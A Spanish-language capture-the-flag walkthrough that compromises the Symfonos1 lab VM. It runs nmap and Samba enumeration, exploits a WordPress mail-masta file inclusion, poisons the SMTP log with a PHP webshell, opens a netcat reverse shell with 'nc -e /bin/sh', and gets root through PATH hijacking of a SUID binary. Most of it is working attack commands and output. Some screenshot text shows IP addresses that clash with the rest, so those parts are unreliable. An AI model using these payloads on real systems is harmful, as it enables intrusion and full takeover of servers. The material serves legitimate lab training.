

```
symfonos1
```

```
arp-scan -l eth0 --localnet
```

```
└─(root㉿kali)-[~/home/kali]
# arp-scan -I eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 08:00:27:63:b0:05, IPv4: 192.168.0.116
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1    e0:d3:62:76:bb:3c      (Unknown)
192.168.0.19   08:00:27:82:43:91      (Unknown)
192.168.0.17   62:df:db:4a:80:7f      (Unknown: locally administered)
192.168.0.1    e0:d3:62:76:bb:3c      (Unknown) (DUP: 2)
192.168.0.71   30:9c:23:09:93:72      (Unknown)
192.168.0.88   9c:9d:7e:91:92:3f      (Unknown)
192.168.0.248  7c:0a:3f:53:f6:f6      (Unknown)

13 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.037 seconds (125.68 hosts/sec). 6 responded
```

```
└─(root㉿kali)-[~/home/kali]
# ping -c 1 192.168.0.19
PING 192.168.0.19 (192.168.0.19) 56(84) bytes of data.
64 bytes from 192.168.0.19: icmp_seq=1 ttl=64 time=0.600 ms

--- 192.168.0.19 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.600/0.600/0.600/0.000 ms
```

PORT	STATE	SERVICE	REASON	VERSION
22/tcp	open	ssh	syn-ack ttl 64	OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
ssh-hostkey:				
2048				ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
ssh-rsa				
AAAAB3NzaC1yc2EAAAQABAAQDEgzdl5IpQcFfjqrj7pPhaxTxIJaS0kXjlektEgJg0				
+jGfOGDi+uaG/pM0Jg5lrOh4BEIQFIGDQmf10JrV5CPk/qcs8zPRtKxOspCVBgaQ6wdxjvXkJ				
yDvxinDQzEsg6+uVY2t3YWgTeSPoUP+QC4WWTS/r1e2O2d66SIPzBYVKOP2+WmGMu9				
MS4tFY15cBTQVilprTBE5xjaO5ToZk+LkBA6mKey4dQyz2/u1ipJKdNBS7XmmjipyqANoVPo				
ijj5A2XQbCH/ruFfslpTUTI48XpfsiqTKWufcjVO08ScF46wraj1okRdvn+1ZcBV/I7n3BOrXvw8J				
xdo9x2pPXkUF				
256	a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a			(ECDSA)
ecdsa-sha2-nistp256				
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAlbmlzdHAyNTYAAABBBD8/lJjmequerC3bEL6				
MffHKMdTiYddhU4dOIT6jylLyyI/tEBwDRNfEhOfc7IZxlkpg4vmRwkU25Wdq5Tu59+WQ=				
256	bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d			(ED25519)
_ssh-ed25519				
AAAAC3NzaC1ZDI1NTE5AAAAIOinjerzzjSlgDxhdUgmP/i6nOtGHQq2ayeO1j1h5d5a				
25/tcp	open	smtp	syn-ack ttl 64	Postfix smtpd
_smtp-commands:				symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN,
STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8				
_ssl-date:				TLS randomness does not represent time
_ssl-cert:				Subject: commonName=symfonos
Subject Alternative Name:				DNS:symfonos
Issuer:				commonName=symfonos

| Public Key type: rsa  
| Public Key bits: 2048  
| Signature Algorithm: sha256WithRSAEncryption  
| Not valid before: 2019-06-29T00:29:42  
| Not valid after: 2029-06-26T00:29:42  
| MD5: 086e c75b c397 34d6 6293 70cd 6a76 c4f2  
| SHA-1: e3dc 7293 d59b 3444 d39a 41ef 6fc7 2006 bde4 825f  
| SHA-256: d08f acf4 7829 6492 b7ba da8b 3aa0 3b25 6f96 6e4e 106d e9c6 11d9 9f4b f56e  
b1c4  
| -----BEGIN CERTIFICATE-----  
| MIICyzCCAbOgAwIBAgIJAJzTHaEY8CzbMA0GCSqGSIb3DQEBCwUAMBxETAPBgNV  
| BAMMCHN5bWZvbm9zMB4XDTE5MDYyOTAwMjk0MloXTI5MDYyNjAwMjk0MlowEzER  
| MA8GA1UEAwIc3ltZm9ub3MwggeiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB  
| AQDMqUx7kERzGuX2GTokAv1cRHV81loI0yEE357TgkGOQEZUA9jpAkceEpjHGdu1  
| PqfMxETG0TJYdajwYAxr01H5fJmLi04OhKHyKk+yKIRpOO0uU1tvIcpSx5A2QJky  
| BY+q/82SZLhx/l2xyP2jrc63mz4FSrzav/oPpNT6rxLoPIvJ8z+vnUr3qp5Ea/DH  
| WRePqBVoMqjqc9EGtwND1EMGJKIZb2KeDaqdJ02K3fZQmyR0+HyYoKq93+sKk34I  
| 23Q7Tzuq07ZJXHheyN3G6V4uGUmJTGPKTMZIOVyeEo6idPjdW8abEq5ier1k8jWy  
|  
| IzwTU8GmPe4MR7csKR1omk8bAgMBAAGjIjAgMAkGA1UdEwQCMAAwEwYDVR0RBAAww  
| ColIc3ltZm9ub3MwDQYJKoZlhvcNAQELBQADggEBAF3kiDg7BrB5xNV+ibk7GUVc  
| 9J5IALE+gtSeCXCs6TmEU6I2CF6JNQ1PDisZbC2d0jEEjg3roCeZmDRKFC+NdwM  
| iKiqROMh3wPMxnHEKgQ2dwGU9UMb4AWdEWzNMtDKVbgf8JgFEuCje0RtGLKJiTvw  
| e2DjqLRIYwMitfWJWyi6OjdvTWD3cXReTfrjYCRgYUaoMuGahUh8mmyuFjkKmHOR  
| smVCO/8UdLvQr7T8QO/682shibBd4B4eekc8aQa7xoEMevSIY8WjtJKbuPvUYsay  
| slgPCkgga6SRw1X/IoPYutflvK7NQPqcEM8YrWTMokknP7EsJXDI85hRj6GghhE=  
| -----END CERTIFICATE-----  
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))  
| http-methods:  
|\_ Supported Methods: OPTIONS HEAD GET POST  
|\_ http-title: Site doesn't have a title (text/html).  
|\_ http-server-header: Apache/2.4.25 (Debian)  
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.5.16-Debian (workgroup:  
WORKGROUP)  
MAC Address: 08:00:27:82:43:91 (Oracle VirtualBox virtual NIC)  
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE:  
cpe:/o:linux:linux\_kernel

#### Host script results:

|\_clock-skew: mean: 2h00m02s, deviation: 3h27m50s, median: 2s  
| smb2-security-mode:  
|\_ 3.1.1:  
|\_ Message signing enabled but not required  
| smb2-time:  
| date: 2026-02-18T16:14:32  
|\_ start\_date: N/A

```
| nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC:  
<unknown> (unknown)  
| Names:  
| SYMFONOS<00>      Flags: <unique><active>  
| SYMFONOS<03>      Flags: <unique><active>  
| SYMFONOS<20>      Flags: <unique><active>  
| \x01\x02_MSBROWSE_\x02<01> Flags: <group><active>  
| WORKGROUP<00>      Flags: <group><active>  
| WORKGROUP<1d>      Flags: <unique><active>  
| WORKGROUP<1e>      Flags: <group><active>  
| Statistics:  
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
| smb-os-discovery:  
| OS: Windows 6.1 (Samba 4.5.16-Debian)  
| Computer name: symfonos  
| NetBIOS computer name: SYMFONOS\x00  
| Domain name: \x00  
| FQDN: symfonos  
|_ System time: 2026-02-18T10:14:32-06:00  
| p2p-conficker:  
| Checking for Conficker.C or higher...  
| Check 1 (port 11542/tcp): CLEAN (Couldn't connect)  
| Check 2 (port 22394/tcp): CLEAN (Couldn't connect)  
| Check 3 (port 41518/udp): CLEAN (Failed to receive data)  
| Check 4 (port 25798/udp): CLEAN (Failed to receive data)  
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked  
| smb-security-mode:  
| account_used: guest  
| authentication_level: user  
| challenge_response: supported  
|_ message_signing: disabled (dangerous, but default)
```

```
└─(root㉿kali)-[~/home/kali]
└# nmap --script "vuln" -p25 192.168.0.19
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 11:16 -0500
Nmap scan report for symfonos.local (192.168.0.19)
Host is up (0.00037s latency).

PORT      STATE SERVICE
25/tcp    open  smtp
| ssl-dh-params:
|   VULNERABLE:
|     Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|       State: VULNERABLE
|         Transport Layer Security (TLS) services that use anonymous
|         Diffie-Hellman key exchange only provide protection against passive
|         eavesdropping, and are vulnerable to active man-in-the-middle attacks
|         which could completely compromise the confidentiality and integrity
|         of any data exchanged over the resulting session.
| Check results:
|   ANONYMOUS DH GROUP 1
|     Cipher Suite: TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA
|     Modulus Type: Safe prime
|     Modulus Source: Unknown/Custom-generated
|     Modulus Length: 2048
|     Generator Length: 8
|     Public Key Length: 2048
|   References:
|     https://www.ietf.org/rfc/rfc2246.txt
|   smtp-vuln-cve2010-4344:
|     The SMTP server is not Exim: NOT VULNERABLE
MAC Address: 08:00:27:82:43:91 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
```

```
└─(root㉿kali)-[~/home/kali]
└# nmap --script "vuln" -p139 192.168.0.19
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 11:17 -0500
Nmap scan report for symfonos.local (192.168.0.19)
Host is up (0.00029s latency).

PORT      STATE SERVICE
139/tcp   open  netbios-ssn
MAC Address: 08:00:27:82:43:91 (Oracle VirtualBox virtual NIC)

Host script results:
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos:
|   VULNERABLE:
|     Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null de
ference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron B
owes
|     while working on smb-enum-sessions.
|_
|_smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 22.00 seconds
```

```
[root@kali]~[/home/kali]
# nmap --script "vuln" -p445 192.168.0.19
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-18 11:19 -0500
Nmap scan report for symfonos.local (192.168.0.19)
Host is up (0.00032s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 08:00:27:82:43:91 (Oracle VirtualBox virtual NIC)

Host script results:
| smb-vuln-regsvc-dos:
|   VULNERABLE:
|     Service regsvc in Microsoft Windows systems vulnerable to denial of service
|       State: VULNERABLE
|         The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|           pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron B
owes
|             while working on smb-enum-sessions.
|_-
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds
```

vamos a tirar por samba en e445

```
msf auxiliary(scanner/smb/smb_enumusers) > run
[*] 192.168.0.19:445 - Using automatically identified domain: SYMFONOS
[+] 192.168.0.19:445 - SYMFONOS [ helios ] ( LockoutTries=0 PasswordMin=5 )
[+] 192.168.0.19:445 - Builtin [ ] ( LockoutTries=0 PasswordMin=5 )
[*] 192.168.0.19: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_enumusers) >
```

user: helios

enum4linux 192.168.0.19

```
( users on 192.168.0.19 )
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: helios Name: Desc:
user:[helios] rid:[0x3e8]

( Share Enumeration on 192.168.0.19 )

  Sharename          Type        Comment
  _____
  print$            Disk        Printer Drivers
  helios            Disk        Helios personal share
  anonymous         Disk        IPC Service (Samba 4.5.16-Debian)
  IPC$              IPC         IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.

  Server          Comment
  _____
```

```
[root@kali]~[/home/kali]
```

```
# smbclient //192.168.0.19/anonymous -U anonymous
```

Password for [WORKGROUP\anonymous]:

Try "help" to get a list of possible commands.

smb: \> ls

.	D	0	Fri Jun 28 21:14:49 2019
..	D	0	Fri Jun 28 21:12:15 2019
attention.txt	N	154	Fri Jun 28 21:14:49 2019

```
19994224 blocks of size 1024. 17305092 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (50.1 KiloBytes/sec) (average 50.1
KiloBytes/sec)
smb: \>
```

```
I └──(root㉿kali)-[/home/kali]
└─# cat attention.txt
```

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!

Next person I find using one of these passwords will be fired!

-Zeus

```
└──(root㉿kali)-[/home/kali]
  # smbclient //192.168.0.19/helios -U helios
  Password for [WORKGROUP\helios]:
  Try "help" to get a list of possible commands.
  smb: \> ls
  .
  ..
  research.txt
  todo.txt
  D      0   Fri Jun 28 20:32:05 2019
  D      0   Fri Jun 28 20:37:04 2019
  A     432   Fri Jun 28 20:32:05 2019
  A      52   Fri Jun 28 20:32:05 2019

  19994224 blocks of size 1024. 17305092 blocks available
smb: \> █
```

descubrimos que la contraseña es qwerty

```
└──(root㉿kali)-[/home/kali]
  # cat todo.txt
  1. Binge watch Dexter
  2. Dance
  3. Work on /h3l105

  └──(root㉿kali)-[/home/kali]
  # cat research.txt
  Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.

  └──(root㉿kali)-[/home/kali]
  # █
```

directorio para la web /h3l105

es un Wordpress



helios site — Just another WordPress site

## Hello world!



```
wpscan --url http://192.168.0.19/h3l105 --enumerate ap --api-token  
MKE7AYGHSwA1ZJFjDrGGcLCQrszT8couscx6ouDFAdc
```

[http://192.168.0.19/h3l105/wp-content/plugins/mail-masta/inc/campaign/count\\_of\\_send.php?pl=/etc/passwd](http://192.168.0.19/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd)



```
[root@kali] ~] comando=id  
[root@kali] ~] # telnet 192.168.0.19 25  
Trying 192.168.0.19 ...  
Connected to 192.168.0.19.  
Escape character is '^]'.  
220 symfonos.loca... ESMTP Postfix (Debian/GNU)  
ls  
502 5.5.2 Error: command not recognized  
HELO local.domain.name  
250 symfonos.loca... to Sender To: helios@symfonos.loca...  
MAIL FROM: sender@adress.ext Transfer-Encoding: 8bit Message-Id: <2EE7C40AB0.1770749889@symfonos.loca...>  
250 2.1.0 Ok Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: Quoted-Printable Content-Description: No  
RCPT TO: helios  
250 2.1.5 Ok  
DATA  
354 End data with <CR><LF>.<CR><LF>  
SUBJECT: <?php system($_GET['comando']);?>  
Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: Quoted-Printable Content-Description: No  
Original-Recipient: helios@symfonos.loca...  
250 2.0.0 Ok: queued as 6E3994002E  
quit  
221 2.0.0 Bye  
Connection closed by foreign host.
```

`/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&comando=nc -e /bin/sh`

192.168.0.116 1234

The screenshot shows a terminal window on a Kali Linux desktop environment. The terminal is connected to a session on a host at 192.168.75.158, port 1234. The user has entered the command 'nc -lvp 1234' to listen for incoming connections. A red arrow points from the browser's address bar to the terminal window, highlighting the connection between the exploit and the reverse shell.

```
symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=2
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec
--2EE7C40AB0.1675209438/symfonos.localdomain Content-Description: Delivery report Content-Type: message/delivery-status
Reporting-MTA: dns; symfonos.localdomain X-Postfix-Queue-ID: 2EE7C40AB0 X-Postfix-Sender: rfc822; helios@symfonos.localdomain Arrival-Date: Fri, 28 Jun 2019 19:46:02 -0500 (CDT) Final-Recipient: rfc822; helios@blah.com Original-Recipient: rfc822; helios@blah.com Action: failed Status: 4.4.3 Diagnostic-Code: X-Postfix: Host or domain name not found. N
File Actions Edit View Help
kali@kali: ~ kali@kali: ~
(kali㉿kali)-[~]
$ nc -lvp 1234 1
listening on [any] 1234 ...
connect to [192.168.75.158] from (UNKNOWN) [192.168.75.162] 51996 3
Content-Type: text/plain; charset=UTF-8 Your new WordPress site has been successfully set up
count with the following information: Username: test Password: test
The password you chose during installation. Log in here: http://192.168.201.134/h3l105/wp-login.php We hope you
thanks! --The WordPress Team https://wordpress.org/ --2EE7C40AB0.1675209438/symfonos.localdomain-- From
test@symfonos.localdomain Sat Feb 11 16:11:02 2023 Return-Path: X-Original-To: Helios Delivered-To: Helios@sy
Received: from unknown (unknown [192.168.75.158]) by symfonos.localdomain (Postfix) with SMTP id 95F0B40B3
2023 16:07:37 -0600 (CST) From test@test@symfonos.localdomain Sat Feb 11 16:15:29 2023 Return-Path: X-Origin
```

**Para estabilizar la shell se puede aplicar cualquiera de los 2 métodos.**

***python -c “import pty; pty.spawn(‘/bin/bash’)”***

***o***

***python -c “import pty; pty.spawn(‘/bin/sh’)”***

```
[kali㉿kali)-[~] 46899dadd559f3bd1@192.168.201.134> X-Mailer: PHPMailer/5.2.13   
$ nc -lvpn 1234  
listening on [any] 1234 ...  
connect to [192.168.75.158] from (UNKNOWN) [192.168.75.162] 51996  
whoami  
password you chose during installation. Log in here: http://192.168.201.158  
helios  
--The WordPress Team https://wordpress.org/ --2EE7C40AB0.167520  
which python  
whoami  
helios  
which python  
/usr/bin/python Helios@symfonos.loca... Received: from unknown (unkno...  
python -c "import pty; pty.spawn('/bin/bash')"  
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ whoami  
whoami  
helios
```

***Procedemos a buscar binarios con el flag SUID. Para ello utilizamos el comando***

***find / -perm -u=s type f 2>/dev/null***

***Esto permite encontrar una aplicación de un tercero, usualmente alojado en la carpeta /opt/***

```
[kali㉿kali)-[~] $ nc -lvpn 1234
listening on [any] 1234 ...
connect to [192.168.75.158] from (UNKNOWN) [192.168.75.162] 52010
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
```

**Al analizar los strings de este programa, se identifica que internamente hace el llamado al comando CURL, lo cual nos da la idea que podemos falsear el binario para así llamar al /opt/statuscheck con un PATH modificado**

```
(kali㉿kali)-[~]
$ nc -lvpn 1234
listening on [any] 1234 ...
connect to [192.168.75.158] from (UNKNOWN) [192.168.75.162] 52012
python -c "import pty; pty.spawn('/bin/sh')"
$ whoami
whoami
helios
$ strings /opt/statuscheck
strings /opt/statuscheck
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC 2.2.5
curl -I H
http://lH
ocalhostH
AWAVA
AUATL
```

**Para falsear el binario, en nuestra carpeta /tmp, creamos un archivo “curl” cuyo contenido sea la llamada a la shell /bin/sh. Luego le agregamos los permisos de ejecución y alteramos el entorno del PATH con el /tmp. Luego se ejecuta el binario /opt/statuscheck el cual usará el PATH modificado.**

```
cd /tmp
```

```
echo "/bin/sh" > curl
```

```
chmod 777 curl
```

```
echo $PATH
```

```
export PATH=/tmp:$PATH
```

```
/opt/statuscheck
```

*La explicación se debe a que la ejecución de /opt/statuscheck hará una llamada a las variables del PATH. Sin embargo, como seteamos el “/tmp” al inicio en /tmp:\$PATH, lo primero que identificará será el CURL=/bin/sh y por lo tanto se obtendrá la ejecución de /bin/sh en modo SUID “root”. A partir de ahí, ya somos root :)*

```
$ cd /tmp
cd /tmp
$ echo "/bin/sh" > curl
echo "/bin/sh" > curl
$ chmod 777 curl
chmod 777 curl
$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
$ /opt/statuscheck
/opt/statuscheck
# id
id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom
v)
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
kali㉿kali:[~]
proof.txt
```

## ***Prueba que somos “root” :)***

Contact me via Twitter @zayotic to give feedback!